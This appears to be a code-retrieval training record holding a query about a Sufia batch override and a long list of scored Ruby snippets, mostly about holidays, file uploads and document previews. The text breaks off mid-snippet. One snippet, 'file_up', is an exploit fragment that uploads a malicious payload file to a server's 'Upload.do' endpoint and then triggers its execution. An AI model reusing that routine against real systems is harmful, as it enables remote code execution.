[true, false]\n return !holidays.include?(date)\n else\n weekdays.include?(DAY[date.wday]) && !holidays.include?(date)\n end\n rescue NoMethodError\n p 'provided date is not valid'\n false\n end", "def test_holidays_year\n years = Services::Holiday::DATES.map do |d|\n Date.parse(d).strftime('%Y')\n end.uniq\n\n current_year = Services::Holiday.current_date.strftime('%Y')\n\n assert(years.include?(current_year))\n end", "def get_national_holidays\n national_holidays = Event.all.select { |event| event.event_type == \"National Holiday\"}\n return national_holidays \n end", "def all_holidays_with_bbq(holiday_hash)\n # return an array of holiday names (as symbols) where supply lists\n # include the string \"BBQ\"\n bbq = []\n holiday_hash.each do |season, holidays|\n holidays.each do |event, gear|\n bbq << event if gear.include?(\"BBQ\")\n end\n end\n bbq\nend", "def holiday_name(date, date_adjusted_text = true)\n date = to_date(date)\n populate_public_holiday_collection_for_year(date.year)\n ph = @public_holiday_hash[date]\n if ph.nil?\n return nil\n else\n return ph.name(date_adjusted_text)\n end\n end", "def get_public_holidays( year )\n PublicHoliday.factory( @localization ).all( year ) \n end", "def set_holiday_date\n @holiday_date = HolidayDate.find(params[:id])\n end", "def set_holiday\n @holiday = Holiday.find(params[:id])\n end", "def set_holiday\n @holiday = Holiday.find(params[:id])\n end", "def set_holiday\n @holiday = Holiday.find(params[:id])\n end", "def set_holiday\n @holiday = Holiday.find(params[:id])\n end", "def set_holiday\n @holiday = Holiday.find(params[:id])\n end", "def set_holiday\n @holiday = Holiday.find(params[:id])\n end", "def holiday_restriction?(record)\n @unit = record.nurse.unit_id\n @shift = record.nurse.shift\n holiday_limit = UnitAndShift.get_holiday_obj(@unit, @shift)\n if holiday_limit != nil && during_holidays(record)# no holiday restriction\n num_today = num_nurses_on_day(record.start_at, @shift, @unit, record.id)\n return num_today < holiday_limit.holiday\n else return true\n end\n end", "def events_at?(date)\n !@calendar_events[date].empty?\n end", "def read_holidays(path_to_file)\n holidays = {}\n hash = JSON.parse File.read(path_to_file)\n hash.each do |entry|\n date = Date.parse(entry['date'])\n market = entry['market']\n holidays[date] = Set.new if holidays[date].nil?\n holidays[date].add market\n end\n holidays\n end", "def all_holidays_with_bbq(holiday_hash)\n bbq_holidays = []\n holiday_hash.each do |season, full_entry|\n full_entry.each do |name, supply_array|\n if supply_array.include?(\"BBQ\")\n bbq_holidays << name\n end\n end\n end\n bbq_holidays\nend", "def holidays_with_bbqs(holiday_supplies)\n bbq_holidays = []\n holiday_supplies.each do |season, hash|\n hash.each do |holiday, array|\n if array.include?(\"BBQ\")\n bbq_holidays << holiday\n end\n end\n end\n bbq_holidays\nend", "def add_new_holiday_with_supplies(holiday_hash, season, holiday_name, supply_array)\n holiday_hash[:fall]={:columbus_day =>[\"Flags\", \"Italian Food\", \"Parade Floats\"]}\n holiday_hash[:winter]={:valentines_day =>[\"Candy Hearts\", \"Cupid Cut-Out\"]}\nend", "def all_holidays_with_bbq(holiday_hash)\n# return an array of holiday names (as symbols) where supply lists\n # interate through hash by entering first level... season = :winter, holiday_data = the holidays in winter and the decorations for each \n holiday_hash.each do | season, holiday_data |\n \n holiday_data.each do | k, v | \n end\n end \nend", "def holidays_with_bbqs(holiday_supplies) #=> [:fourth_of_july, :memorial_day]\n holiday_supplies.map do |season, holidays|\n holidays.map do |holiday, supplies|\n holiday if supplies.include?('BBQ')\n end\n end.flatten.compact\n end", "def send?\n # TODO: rename to better name\n !Holiday.today?\n end", "def working_days_after(start_date, num_working_days)\n start_date = to_date(start_date)\n populate_public_holiday_collection_for_year(start_date.year)\n working_days_offset(start_date, num_working_days, :forward)\n end", "def holidays_with_bbqs(holiday_supplies)\n bbqs_array = []\n holiday_supplies.each do |season, holiday_hash| \n holiday_hash.each do |day, supplies| \n supplies.each do |supply| \n if supply == \"BBQ\"\n bbqs_array << day \n end\n end\n end\n end\nbbqs_array\nend", "def sunday?\n return date.sunday?\n end", "def range_check(date)\n if date < @start_date\n # puts \"Reconstruindo calculadora de feriados pois dia #{date} eh menor que #{@start_date} -> #{@end_date}\"\n build(date - 2.days, @end_date, @holidays)\n elsif date > @end_date\n # puts \"Reconstruindo calculadora de feriados pois dia #{date} eh maior que #{end_date}\"\n build(@start_date, date + 252.days, @holidays)\n end\n end", "def has_sunday_with_date_7(month, year)\n calender = [31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31]\n day_count = 0\n\n calender.each do |num|\n (1..num).each do |i|\n if i == 7 && day_count = 7\n return true\n end\n if day_count <= 7\n day_count += 1\n else\n day_count = 7\n end\n end\n end\nend", "def public_holidays_to_array\n holidays = []\n public_holidays&.each do |day, meta|\n next if !meta\n next if !meta['active']\n next if meta['removed']\n\n holidays.push Date.parse(day)\n end\n holidays\n end", "def getWdayForPublicHday(startDate)\n\t\tpHdays = getPublicHolidays()\n\t\twDayOfPublicHoliday = Array.new\n\t\tif !pHdays.blank?\t\t\n\t\t\tfor i in 0..6\n\t\t\t\twDayOfPublicHoliday << ((startDate+i).cwday).to_s if checkHoliday((startDate + i).to_s,pHdays)\n\t\t\tend\n\t\tend\t\n\t\twDayOfPublicHoliday\n\tend", "def test_is_a_weekend?(p_date = Date.today)\n p_date.saturday? || p_date.sunday?\n end", "def business_days\n @business_days ||= days.select(&:business_day?)\n end", "def holidays=(code)\n if @code = code\n @@holidays[@year][@code] ||= GCalendar.new(@year).holidays(@code)\n end\n end", "def contains_day?(day)\n (self.start_day <= day) and (day < self.start_day + 7.days)\n end", "def create\n\t respond_to do |format|\n\t\t holiday_params[:date].split(\"\\n\").each do |date|\n\t\t @holiday = Holiday.new(:employer_id => holiday_params[:employer_id], :date => date)\n\n unless @holiday.save\n\t format.html { render action: 'new' }\n format.json { render json: @holiday.errors, status: :unprocessable_entity }\n end\n\t\t end\n\t\t format.html { redirect_to holidays_url, notice: 'Holiday was successfully created.' }\n\t\t format.json { head :no_content }\n\t end\n end", "def setup_uk_holidays\n gb_holidays = holidays_for_region(:gb)\n oxford_holidays_2017 = [22,23,24,27,28,29,30,31].map do |day|\n Date.parse(\"#{day}-12-2017\")\n end\n oxford_holidays_2018 = [ Date.parse('02-01-2018') ]\n uk_hols = gb_holidays | oxford_holidays_2017 | oxford_holidays_2018\n @uk_holidays = Set.new(uk_hols)\n end", "def holiday_available(staff)\n\t\t@staff = staff\n\t\t@used_days = 0\n\t\t@remaining = 0\n\t\t@allowance = current_holiday_entitlement_id(@staff).try(:holiday_days)\n\t\tused = Holiday.joins('LEFT OUTER JOIN leave_types ON holidays.leave_type_id = leave_types.id').select('distinct leave_types.title, leave_types.paid, holidays.start_date, holidays.end_date').where(\"holidays.staff_id = ? AND holidays.start_date >= ? AND holidays.end_date <= ? AND leave_types.paid = ?\", @staff.id, current_holiday_entitlement_id(@staff).holiday_year_start, current_holiday_entitlement_id(@staff).holiday_year_end, true)\n\t\tused.each do |h|\n\t\t\tdate1 = Date.parse(h.start_date.strftime(\"%Y-%m-%d\"))\n\t\t\tdate2 = Date.parse(h.end_date.strftime(\"%Y-%m-%d\"))\n\t\t\t@used_days = @used_days + date1.business_days_until(date2).to_i\n\t\tend\n\t\t@remaining = @allowance - @used_days\n\t\t@remaining\t\t\n\tend", "def all_holidays_with_bbq(holiday_hash)\n # return an array of holiday names (as symbols) where supply lists\n # include the string \"BBQ\"\n holiday_names = []\n holiday_hash.each do |key, value|\n value.each do |key2, value2|\n holiday_names << key2 if value2.include?(\"BBQ\")\n end\n end\n holiday_names\nend", "def all_holidays_with_bbq(holiday_hash)\n chosen = []\n holiday_hash.each do |season, holiday|\n holiday.each do |holiday, supplies|\n if supplies.include?(\"BBQ\") == true\n chosen << holiday\n end\n end\n end\n chosen\nend", "def includes?(date)\n false\n end", "def all_holidays_with_bbq(holiday_supplies)\n holiday_supplies.map do |season, holidays|\n holidays.map do |holiday, supplies|\n holiday if supplies.include?(\"BBQ\")\n end\n end.flatten.compact\nend", "def has_sunday_with_date_7(month, year)\n Date.new(year, month, 7).downto(0).find(&:sunday?)\n return true\nend", "def populate_public_holiday_hash\n @public_holiday_hash = Hash.new\n @public_holiday_collection.each do |ph|\n @public_holiday_hash[ph.date] = ph\n end\n end", "def all_holidays_with_bbq(holiday_hash)\n holiday_hash.map do |season, holiday|\n holiday.map do |holiday, item|\n holiday if item.include?(\"BBQ\")\n end\n end.flatten.compact\nend", "def working_days_before(start_date, num_working_days)\n start_date = to_date(start_date)\n populate_public_holiday_collection_for_year(start_date.year)\n working_days_offset(start_date, num_working_days, :backward)\n end", "def validate_date(spreadsheet_id)\n date = get_date_array(spreadsheet_id)\n if date[0].to_i >= 1 and date[0].to_i <= 12 and date[1].to_i == 1 and date[2].to_i >= 2016 and get_start_day(date[3]) != nil\n return true\n else\n return false\n end\nend", "def add_supply_to_winter_holidays(holiday_hash, supply)\n holiday_hash.collect do |season, holiday|\n if season == :winter\n holiday.collect do |name, day|\n day.push(\"Balloons\")\n end\n end\n end\nend", "def test\n WorkCalendar.configure do |c|\n c.weekdays = %i(mon tue wed thu fri)\n c.holidays = [Date.new(2015, 1, 1), Date.new(2015, 7, 3), Date.new(2015, 12, 25)]\n end\n end", "def should_run?\n date.sunday?\n end", "def weekend?\n [0, 6].include?(date.wday)\n end", "def delete(public_holiday_name)\n holiday_found = false\n index = 0\n @public_holiday_specifications.each do |phs|\n if phs.name == public_holiday_name\n holiday_found = true\n break\n end\n index += 1\n end\n @public_holiday_specifications.delete_at(index)\n @generated_years.clear\n @public_holiday_collection.clear\n holiday_found\n end", "def working_days_count(from_date, to_date, include_sat = false, include_sun = false, include_bank_holidays = false)\r\n\t\t \tdates_interval = (from_date..to_date).to_a\r\n\r\n\t\t\t\tuser_region = LeavesHolidaysLogic.user_params(self, :region)\r\n\r\n\t\t\t\tif !include_bank_holidays\r\n\t\t\t\t\tbank_holidays_list = Holidays.between(from_date, to_date, user_region.to_sym, :observed).map{|k| k[:date]}\r\n\t\t\t\t\tdates_interval -= bank_holidays_list\r\n\t\t\t\tend\r\n\r\n \t\t\tdates_interval.delete_if {|i| i.wday == 6 && !include_sat || #delete date from array if day of week is a saturday (6)\r\n \t\t\t i.wday == 0 && !include_sun } #delete date from array if day of week is a sunday (0)\r\n\r\n \t\treturn dates_interval.count\r\n\t\t\tend", "def index\n if params[:company]\n @holiday = Holiday.new(:project_id => nil)\n set_content_title([t(\"screens.labels.company_calendar\")])\n @days_enable = can? :update_company_calendar, @holiday\n @dates_creation = can? :create_company_calendar, @holiday\n @holidays = Holiday.company_holidays\n @days_off = DayOff.company_days_off\n @holiday.company = true\n @days_off_for_fullcalendar = DayOff.calendar_wday_classes()\n else\n @holiday = Holiday.new(:project_id => actual_project.id)\n set_content_title([t(\"screens.labels.project_calendar\")])\n @days_enable = can? :update_project_calendar, @holiday\n @dates_creation = can? :create_project_calendar, @holiday\n @holidays = actual_project.holidays.order(\"day\")\n @days_off = actual_project.get_days_off\n @days_off_for_fullcalendar = DayOff.calendar_wday_classes(actual_project)\n end\n\n\n @holidays_for_fullcalendar = @holidays.map(&:milis_from_1970).join(', ')\n #@holidays_for_fullcalendar = \"1335852000000, 1337148000000, 1337234400000\"\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @holidays }\n end\n end", "def all_holidays_with_bbq(holiday_hash)\n my_bbq = []\n holiday_hash.each do |season, event|\n event.select do |holiday, items|\n if items.include?(\"BBQ\")\n my_bbq.push(holiday)\n end\n end\n end\n my_bbq\nend", "def date_match?(date, h)\n h[:months].include?(date.month) and h[:days].include?(date.day) and h[:wdays].include?(date.wday)\n end", "def all_winter_holiday_supplies(holiday_hash)\n\twinter_day = []\n holiday_hash.collect do |season, holiday|\n if season == :winter\n holiday.collect do |name, day|\n winter_day << day\n #day\n end\n #winter_day\n end\n #winter_day\n end\n winter_day.flatten\n end", "def all_holidays_with_bbq(holiday_hash)\n # return an array of holiday names (as symbols) where supply lists\n # include the string \"BBQ\"\n holiday_array = []\n holiday_hash.each do |season, holidays|\n holidays.each do |holidays,supplies|\n supplies.each do |items|\n if items == \"BBQ\"\n #binding.pry\n holiday_array << holidays\n end\n #binding.pry\nend\nend\nend\nreturn holiday_array\nend", "def holiday_date_params\n params.require(:holiday_date).permit(:holiday_id, :calendar_date_id)\n end", "def holiday_params\n params.require(:holiday).permit(:employer_id, :date)\n end", "def holiday_params\n params.require(:holiday).permit(:date, :remarks, :holiday, :activate)\n end", "def create\n @holiday = Holiday.new(params[:holiday])\n\n respond_to do |format|\n if @holiday.save\n format.html { redirect_to holidays_index_path(@holiday),\n notice: 'Holiday is Submitted' }\n else\n format.html { render \"new\",\n error: 'Holiday not saved' }\n end\n end\n end", "def index\n @holidays_by_year = Holiday.yeardate\n if params[:commit] == \"set\"\n if ActiveRecord::Base.connection.is_a?(ActiveRecord::ConnectionAdapters::PostgreSQLAdapter)\n @holidays_by_year = Holiday.find(:all, conditions: \\\n ['extract(year from date) = ?',\n params[:date][:year]])\n elsif ActiveRecord::Base.connection.is_a?(ActiveRecord::ConnectionAdapters::Mysql2Adapter)\n @holidays_by_year = Holiday.find(:all, conditions: \\\n ['year(date) = ?',\n params[:date][:year]])\n end\n end\n end", "def list_for_year(year)\n populate_public_holiday_collection_for_year(year)\n holiday_dates = Array.new\n @public_holiday_collection.each do |ph|\n holiday_dates << ph.to_s if ph.year == year\n end\n holiday_dates\n end", "def index\n @holidays = Holiday.all.where(\"day > ?\", Time.now).order(:day)\n end" ]
[ "0.8694399", "0.80473673", "0.7989587", "0.7935973", "0.7905278", "0.790463", "0.78402185", "0.78402185", "0.7832536", "0.7832296", "0.7805948", "0.77029645", "0.7651575", "0.7590602", "0.75311035", "0.74098754", "0.7354943", "0.7339798", "0.71757865", "0.7145868", "0.7140745", "0.712163", "0.71118116", "0.70624536", "0.705768", "0.6914113", "0.68589634", "0.6768978", "0.6671761", "0.66143274", "0.6568988", "0.64566946", "0.63906443", "0.6342591", "0.6262852", "0.6253987", "0.62134385", "0.616435", "0.6143184", "0.6126229", "0.6092713", "0.6069299", "0.6063079", "0.60586166", "0.60352916", "0.60352916", "0.60352916", "0.60352916", "0.60352916", "0.60352916", "0.6007198", "0.59654605", "0.5900862", "0.5896076", "0.5866933", "0.5866344", "0.58643943", "0.5861538", "0.58565784", "0.5848432", "0.5848118", "0.5833758", "0.58295506", "0.57968426", "0.578088", "0.57771116", "0.5774311", "0.5765772", "0.57557315", "0.57290626", "0.5710202", "0.5687248", "0.5680939", "0.56612015", "0.565729", "0.56486326", "0.56477225", "0.5624288", "0.5619841", "0.5615129", "0.55742", "0.55679506", "0.5561612", "0.55605704", "0.55569917", "0.55553925", "0.5554203", "0.554989", "0.55346894", "0.5527946", "0.5526094", "0.54977167", "0.5492843", "0.5485013", "0.5476153", "0.54746777", "0.5468235", "0.5461438", "0.54217976", "0.5418392" ]
0.80408525
2
TODO This is a temporary override of sufia to fix 101 This can be removed once sufia has a solution and we upgrade or batches are no longer used when sufia migrates to PCDM routed to /files/new
def new @batch_id = Batch.create.id end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def new_files; end", "def existing_files; end", "def replaced_files; end", "def new_by_mass_upload\n end", "def files; end", "def files; end", "def files; end", "def files; end", "def files; end", "def files; end", "def obsolete_files; end", "def file_uploads; end", "def public_file_server; end", "def public_file_server; end", "def modified_files; end", "def file_list\n end", "def public_file_server=(_arg0); end", "def public_file_server=(_arg0); end", "def post_file_to_server id, content, size, page_count, extension = \".jpg\"\n\n @s.execute_file_post @s.url_for(\"system/pool/createfile.#{id}.page#{page_count}-#{size}\"), \"thumbnail\", \"thumbnail\", content, related_mimetype(extension)\n alt_url = @s.url_for(\"p/#{id}/page#{page_count}.#{size}\" + extension)\n @s.execute_post alt_url, {\"sakai:excludeSearch\" => true}\n log \"Uploaded image to curl #{alt_url}\"\nend", "def main()\n res = @s.execute_get(@s.url_for(\"var/search/needsprocessing.json\"))\n unless res.code == '200'\n raise \"Failed to retrieve list to process [#{res.code}]\"\n end\n\n process_results = JSON.parse(res.body)['results']\n log \"processing #{process_results.size} entries\"\n unless process_results.size > 0\n return\n end\n\n # Create some temporary directories.\n Dir.mkdir DOCS_DIR unless File.directory? DOCS_DIR\n Dir.mkdir PREV_DIR unless File.directory? PREV_DIR\n Dir.mkdir PDFS_DIR unless File.directory? PDFS_DIR\n\n # Create a temporary file in the DOCS_DIR for all the pending files and outputs all the filenames in the terminal.\n Dir.chdir DOCS_DIR\n queued_files = process_results.collect do |result|\n FileUtils.touch result['_path']\n end\n\n log \" \"\n log \"Starts a new batch of queued files: #{queued_files.join(', ')}\"\n\n Dir['*'].each do |id|\n FileUtils.rm_f id\n log \"processing #{id}\"\n\n begin\n meta_file = @s.execute_get @s.url_for(\"p/#{id}.json\")\n unless meta_file.code == '200'\n raise \"Failed to process: #{id}\"\n end\n\n meta = JSON.parse meta_file.body\n mime_type = meta['_mimeType']\n given_extension = meta[\"sakai:fileextension\"]\n extension = determine_file_extension_with_mime_type(mime_type, given_extension)\n filename = id + extension\n log \"with filename: #{filename}\"\n\n if ignore_processing?(mime_type) || extension.eql?('')\n if extension.eql?('')\n log \"ignoring processing of #{filename}, no preview can be generated for files without a known mime type\"\n log \"The file's original extension was #{given_extension}, and it's mime type is #{mime_type}\"\n else\n log \"ignoring processing of #{filename}, no preview can be generated for #{mime_type} files\"\n end\n else\n # Making a local copy of the file.\n content_file = @s.execute_get @s.url_for(\"p/#{id}\")\n unless ['200', '204'].include? content_file.code\n raise \"Failed to process file: #{id}, status: #{content_file.code}\"\n end\n File.open(filename, 'wb') { |f| f.write content_file.body }\n\n if process_as_image? extension\n extension = output_extension extension\n page_count = 1\n filename_thumb = 'thumb' + extension\n\n content = resize_and_write_file filename, filename_thumb, 900\n post_file_to_server id, content, :normal, page_count, extension\n\n content = resize_and_write_file filename, filename_thumb, 180, 225\n post_file_to_server id, content, :small, page_count, extension\n\n FileUtils.rm_f DOCS_DIR + \"/#{filename_thumb}\"\n else\n begin\n # Check if user wants autotagging\n user_id = meta[\"sakai:pool-content-created-for\"]\n user_file = @s.execute_get @s.url_for(\"/system/me?uid=#{user_id}\")\n unless user_file.code == '200'\n raise \"Failed to get user: #{uid}\"\n end\n user = JSON.parse(user_file.body)\n if user[\"user\"][\"properties\"][\"isAutoTagging\"] != \"false\"\n # Get text from the document\n Docsplit.extract_text filename, :ocr => false\n text_content = IO.read(id + \".txt\")\n terms = extract_terms(text_content)\n tags = \"\"\n terms.each_with_index do |t, i|\n tags += \"- #{t}\\n\"\n terms[i] = \"/tags/#{t}\"\n end\n # Generate tags for document\n @s.execute_post @s.url_for(\"p/#{id}\"), {':operation' => 'tag', 'key' => terms}\n log \"Generate tags for #{id}, #{terms}\"\n admin_id = \"admin\"\n origin_file_name = meta[\"sakai:pooled-content-file-name\"]\n if not terms.nil? and terms.length > 0 and user[\"user\"][\"properties\"][\"sendTagMsg\"] and user[\"user\"][\"properties\"][\"sendTagMsg\"] != \"false\"\n msg_body = \"We have automatically added the following tags for #{origin_file_name}:\\n\\n #{tags}\\n\\nThese tags were created to aid in the discoverability of your content.\\n\\nRegards, \\nThe Sakai Team\"\n @s.execute_post(@s.url_for(\"~#{admin_id}/message.create.html\"), {\n \"sakai:type\" => \"internal\",\n \"sakai:sendstate\" => \"pending\",\n \"sakai:messagebox\" => \"outbox\",\n \"sakai:to\" => \"internal:#{user_id}\",\n \"sakai:from\" => \"#{admin_id}\",\n \"sakai:subject\" => \"We've added some tags to #{origin_file_name}\",\n \"sakai:body\" => msg_body,\n \"_charset_\" => \"utf-8\",\n \"sakai:category\" => \"message\"\n })\n log \"sending message from #{admin_id} user to #{user_id}\"\n end\n end\n rescue Exception => msg\n log \"failed to generate document tags: #{msg}\", :warn\n end\n\n # Generating image previews of the document.\n if only_first_page? extension\n Docsplit.extract_images filename, :size => '1000x', :format => :jpg, :pages => 1\n else\n Docsplit.extract_images filename, :size => '1000x', :format => :jpg\n end\n\n # Skip documents with a page count of 0, just to be sure.\n next if Dir[id + '_*'].size == 0\n\n Dir.mkdir PREV_DIR + \"/#{id}\" unless File.directory? PREV_DIR + \"/#{id}\"\n\n # Moving these previews to another directory: \"PREVS_DIR/filename/index.jpg\".\n Dir[id + '_*'].each_with_index do |preview, index|\n FileUtils.mv \"#{id}_#{index + 1}.jpg\", \"#{PREV_DIR}/#{id}/#{index}.jpg\"\n end\n\n Dir.chdir PREV_DIR + \"/#{id}\"\n page_count = Dir[\"*\"].size\n\n # Upload each preview and create+upload a thumbnail.\n for index in (0..page_count - 1)\n filename_p = \"#{index}.jpg\"\n # Upload the generated preview of this page.\n nbytes, content = File.size(filename_p), nil\n File.open(filename_p, \"rb\") { |f| content = f.read nbytes }\n post_file_to_server id, content, :large, index + 1\n\n # Generate 2 thumbnails and upload them to the server.\n filename_thumb = File.basename(filename_p, '.*') + '.normal.jpg'\n content = resize_and_write_file filename_p, filename_thumb, 700\n post_file_to_server id, content, :normal, index + 1\n\n filename_thumb = File.basename(filename_p, '.*') + '.small.jpg'\n content = resize_and_write_file filename_p, filename_thumb, 180, 225\n post_file_to_server id, content, :small, index + 1\n end\n\n FileUtils.remove_dir PREV_DIR + \"/#{id}\"\n end\n # Pass on the page_count\n @s.execute_post @s.url_for(\"p/#{id}\"), {\"sakai:pagecount\" => page_count, \"sakai:hasPreview\" => \"true\"}\n\n # Change to the documents directory otherwise we won't find the next file.\n Dir.chdir DOCS_DIR\n end\n\n #SAKAI TO PDF\n # We check if mimetype is sakaidoc\n if(mime_type == \"x-sakai/document\")\n if (File.exist?(\"../wkhtmltopdf\"))\n # Go to PDF Dir\n Dir.chdir PDFS_DIR\n\n #delay in secs\n $delay = \"20\"\n\n #filename with extension\n filename_p = id + \".pdf\"\n\n # We parse the structure data to var structure (we do not need the rest)\n structure = JSON.parse meta['structure0']\n\n # Create var and add beginning of code line to run\n line = \"../wkhtmltopdf \"\n\n # Go through structure and add the pagelink for each page id\n structure.each do |page|\n link = \"content#l=\" + page[0] + \"&p=\" + id\n link = @s.url_for(link)\n link = \"'\" + link + \"' \"\n line += link\n end\n\n # Fetch cookie value to get access to all content\n # USERNAME PASSWORD SERVER\n $username = \"admin\"\n auth = \"../auth.sh \" + $username + \" \" + $pw + \" \" + $preview_referer\n cookietoken = `#{auth}`\n\n # Append end of line containing arguments for print css, delay and authentication\n line += filename_p + \" --print-media-type --redirect-delay \" + $delay + \"000 --cookie 'sakai-trusted-authn' \" + cookietoken\n\n # Run the command line (run wkhtmltopdf)\n `#{line}`\n\n # We read the content from the pdf in the PDF directory\n content = open(filename_p, 'rb') { |f| f.read }\n\n # We post it to server through this function\n post_pdf_to_server id, content\n @s.execute_post @s.url_for(\"p/#{id}\"), {\"sakai:processing_failed\" => \"false\"}\n #Change dir\n Dir.chdir DOCS_DIR\n else\n @s.execute_post @s.url_for(\"p/#{id}\"), {\"sakai:processing_failed\" => \"true\"}\n log \"PDF Converter (wkhtmltopdf) not present in directory\"\n log \"Cannot convert Sakai document to PDF\"\n log \"Continuing without conversion\"\n end\n end\n rescue Exception => msg\n # Output a timestamp + the error message whenever an exception is raised\n # and flag this file as failed for processing.\n log \"error generating preview/thumbnail (ID: #{id}): #{msg.inspect}\\n#{msg.backtrace.join(\"\\n\")}\", :warn\n @s.execute_post @s.url_for(\"p/#{id}\"), {\"sakai:processing_failed\" => \"true\"}\n ensure\n # No matter what we flag the file as processed and delete the temp copied file.\n @s.execute_post @s.url_for(\"p/#{id}\"), {\"sakai:needsprocessing\" => \"false\"}\n FileUtils.rm_f DOCS_DIR + \"/#{filename}\"\n end\n end\n\n FileUtils.remove_dir PDFS_DIR\n FileUtils.remove_dir PREV_DIR\n FileUtils.remove_dir DOCS_DIR\nend", "def properties_subfolders_docs_documentnames_for_move_to_function(mf,af,pid)\n master_folders = Folder.find(:all,:conditions=> [\"portfolio_id = ? and parent_id = ? and is_deleted = ?\",pid,mf.id,false])\n master_files = Document.find(:all,:conditions=> [\"folder_id = ? and is_deleted = ?\",mf.id,false])\n master_folders.each do |mfldr|\n fol = Folder.new\n fol.attributes = mfldr.attributes\n fol.parent_id = af.id\n fol.user_id = current_user.id\n fol.real_estate_property_id = af.real_estate_property_id\n fol.portfolio_id = af.portfolio_id\n fol.save\n properties_subfolders_docs_documentnames_for_move_to_function(mfldr,fol,pid)\n end\n master_files.each do |fl|\n path =\"#{Rails.root.to_s}/public\"+fl.public_filename.to_s\n temfile = Tempfile.new(fl.filename)\n begin\n temfile.write(File.open(path).read)\n temfile.flush\n upload_data = ActionDispatch::Http::UploadedFile.new({:filename=>fl.filename,:type=>fl.content_type, :tempfile=>temfile})\n d= Document.new\n d.attributes = fl.attributes\n d.uploaded_data = upload_data\n d.user_id = current_user.id\n d.folder_id = af.id\n d.real_estate_property_id = af.real_estate_property_id\n d.save\n ensure\n temfile.close\n temfile.unlink\n end\n @task_and_variance_task = false\n @loop =1\n end\nend", "def file_up(platform, dir)\r\n # specifying an extension by platform\r\n if platform == Msf::Module::Platform::Windows\r\n filex = \".bat\"\r\n else\r\n if payload.encoded =~ /sh/\r\n filex = \".sh\"\r\n elsif payload.encoded =~ /perl/\r\n filex = \".pl\"\r\n elsif payload.encoded =~ /python/\r\n filex = \".py\"\r\n elsif payload.encoded =~ /ruby/\r\n filex = \".rb\"\r\n else\r\n fail_with(Failure::Unknown, 'Payload type could not be checked!')\r\n end\r\n end\r\n \r\n @fname= rand_text_alpha(9 + rand(3)) + filex\r\n data = Rex::MIME::Message.new\r\n data.add_part('./', nil, nil, 'form-data; name=\"uploadDir\"')\r\n data.add_part(payload.encoded, 'application/octet-stream', nil, \"form-data; name=\\\"theFile\\\"; filename=\\\"#{@fname}\\\"\")\r\n \r\n res = send_request_cgi({\r\n 'method' => 'POST', \r\n 'data' => data.to_s,\r\n 'agent' => 'Mozilla',\r\n 'ctype' => \"multipart/form-data; boundary=#{data.bound}\",\r\n 'cookie' => @cookie,\r\n 'uri' => normalize_uri(target_uri, \"Upload.do\") \r\n })\r\n \r\n if res && res.code == 200 && res.body.include?('icon_message_success') # Success icon control\r\n print_good(\"#{@fname} malicious file has been uploaded.\")\r\n create_exec_prog(dir, @fname) # Great. Let's send them somewhere else o_O\r\n else\r\n fail_with(Failure::Unknown, 'The file could not be uploaded!')\r\n end\r\n end", "def upstream\n\t\tfile_not_found\n\tend", "def upload_simple\r\n \r\n end", "def changeFileOnView\n \n @queryparams = params\n\n if @queryparams[:thumb_up] && @queryparams[:thumb_up] == \"true\"\n devfile = Devfile.find_by_id(@queryparams[:file_devfile_id])\n devfile.update_attribute(:rank, devfile.rank + 1)\n end\n \n if @queryparams[:thumb_down] && @queryparams[:thumb_down] == \"true\"\n devfile = Devfile.find_by_id(@queryparams[:file_devfile_id])\n value = devfile.rank - 1\n if value < 0\n value = 0\n end\n devfile.update_attribute(:rank, value) \n end\n \n if @queryparams[:showMetadata] && @queryparams[:showMetadata] == \"true\"\n @showMetadata = \"true\"\n end\n \n \n @metadatatypes = MetadataType.find(:all, :order => \"updated_at ASC\" )\n \n metadata_select = metadata_select = @@metadata_select_part1 + @@metadata_select_part2+ @@metadata_conditions + \" AND devfiles.id = \" + @queryparams[:file_devfile_id] + \" ORDER BY metadatas.devfile_id, metadatas.updated_at\" \n metas = Metadata.find_by_sql(metadata_select)\n \n @metadatas = {}\n @results = Metadata.find_all_by_devfile_id(@queryparams[:file_devfile_id])\n linkMetadataToResults(metas)\n\n \n if session[:username]\n @signed_in_user = session[:username]\n @user = User.find(:first, :conditions => [\"username = ?\", session[:username]])\n @device_names = Array.new\n @user.devices.each do |d|\n @device_names.push(d.dev_name)\n end\n end\n \n puts \"FUUUPAAR\"\n @ttest = \"jeps\"\n \n puts \"Alkaa\".background(:blue)\n dev_file = Devfile.find_by_id(@queryparams[:file_devfile_id])\n puts dev_file.name.background(:blue)\n blob = Blob.find_by_id(@queryparams[:blob_update_id])\n\n @user_username = @queryparams[:username]\n @device_dev_name = @queryparams[:device_name]\n @device_id = @queryparams[:device_id]\n @file_path = dev_file.path\n @file_name = dev_file.name\n @file_rank = dev_file.rank\n\n @file_type = dev_file.filetype\n @file_devfile_id = dev_file.id\n @file_created_at = dev_file.created_at.strftime('%F %T').to_s\n\n @file_privatefile = dev_file.privatefile\n @blob_size = blob.size\n @blob_version = blob.version\n @blob_filedate = blob.filedate.strftime('%F %T').to_s\n @blob_modified_at = blob.updated_at.strftime('%F %T').to_s\n @blob_id = blob.id\n @blob_uploaded = blob.uploaded\n @blob_thumbnail_name = blob.thumbnail_name\n @blob_predecessor_id = blob.predecessor_id\n @blob_follower_id = blob.follower_id\n @blob_hash = blob.blob_hash\n @fullpath = (@file_path + @file_name.gsub(/[\\s]/, '%20'))[1..-1]\n \n @file_uri = '/user/' + @user_username + '/device/' + @device_dev_name + '/files/' + @fullpath\n \n puts \"Renderointi\"\n render :update do |page|\n page[@queryparams[:file_devfile_id]].replace_html :partial => 'file'#, :locals => {:status => stat, :image => @queryparams[:image]} \n end\n \n end", "def create\n\n # Run the \"file\" command in the shell to determine file type\n # Note: Using file.read(4) was not reliable\n user_file_type = `file #{params[:files][0].tempfile.path}`\n \n # Verify the file is a JPEG or TIFF\n # Note: This protects against a spoofed content-type header\n # and also does not rely on file type extension\n if ![\"JPEG\", \"JPG\", \"TIF\", \"TIFF\"].any?{|valid_file_type| user_file_type.include?valid_file_type}\n raise Exception, \"Invalid file type\"\n end\n \n \n #filename the user gave the file\n # Sanitize the filename - upload security - Code from Rails security guide\n params[:files][0].original_filename.strip.tap do |name|\n # NOTE: File.basename doesn't work right with Windows paths on Unix\n # get only the filename, not the whole path\n name.sub! /\\A.*(\\\\|\\/)/, ''\n # Finally, replace all non alphanumeric, underscore\n # or periods with underscore\n name.gsub! 